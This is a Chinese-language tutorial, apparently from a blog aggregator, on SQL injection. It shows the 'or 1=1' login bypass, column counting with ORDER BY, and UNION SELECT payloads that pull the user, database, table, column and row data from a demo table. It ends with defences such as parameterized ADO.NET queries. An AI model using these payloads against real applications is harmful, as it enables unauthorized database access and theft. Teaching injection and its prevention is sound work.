sql注入详解

Posted xuedognqing

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入详解相关的知识,希望对你有一定的参考价值。

什么是SQL注入?

SQL注入(SQLi)是一种注入攻击,,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。

常见的sql注入有哪些?

 1. or 1=1  造成无密码登陆

  2.order by 1 或者2,3  order by 函数是对mysql中查询结果按照指定字段名进行排序,除了指定字 段名还可以指定字段的栏位进行排序,第一个查询字段为1,第二个为2,依次 类推。我们可以通过二分法来猜解列数

技术图片

 

 

 3. UNION 

        ①获取数据库名和表明

使用这条命令我们可以爆出服务端MYSQL当前的用户名,当前的数据库名,可以利用数据库名进一步获取表名。(因为UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。所以Union前面的查询我们用1=2给取消掉)

SELECT * FROM `employees_copy` WHERE emp_no!=12 AND 1=2 UNION SELECT USER(),DATABASE()

 

技术图片

 

 

      ②然后我们可以继续获取表名

SELECT * FROM `employees_copy` WHERE emp_no!=12 AND 1=2 UNION SELECT 1,GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE table_schema=DATABASE()

  技术图片

 

 

      ③然后继续获取列名

      

SELECT * FROM `employees_copy` WHERE emp_no!=12 AND  1=2 UNION SELECT GROUP_CONCAT(column_name),2 FROM information_schema.columns WHERE table_name=‘employees_copy‘

  

       技术图片

      ④查询所有数据

   

SELECT * FROM `employees_copy`  WHERE emp_no!=12  AND  1=2

UNION SELECT  GROUP_CONCAT(emp_no,0x20,first_name),2 FROM employees_copy

  

  技术图片

 

 

 

如何防止SQL注入攻击?

 

1.不要使用动态SQL 使用参数化sql语句  使用到了  在ADO.NET对象模型中执行一个参数化查询,需要向SqlCommand对象的Parameters

string sqlStr="select * from [Users] where UserName=@UserName and Password=@Password"

  然后创建命令对象的代码时,修改为:

SqlCommand cmd = new SqlCommand(sqlStr,conn);
cmd.Parameters.AddWithValue("@UserName",txtUserName.Text.Trim());
cmd.Parameters.AddWithValue("@Password",txtUserPassword.Text.Trim());

  

2.制数据库权限和特权

3.避免直接向用户显示数据库错误

 

以上是关于sql注入详解的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入详解

SQL注入详解

sql注入详解

sql注入详解

SQL注入详解

SQL注入详解-转发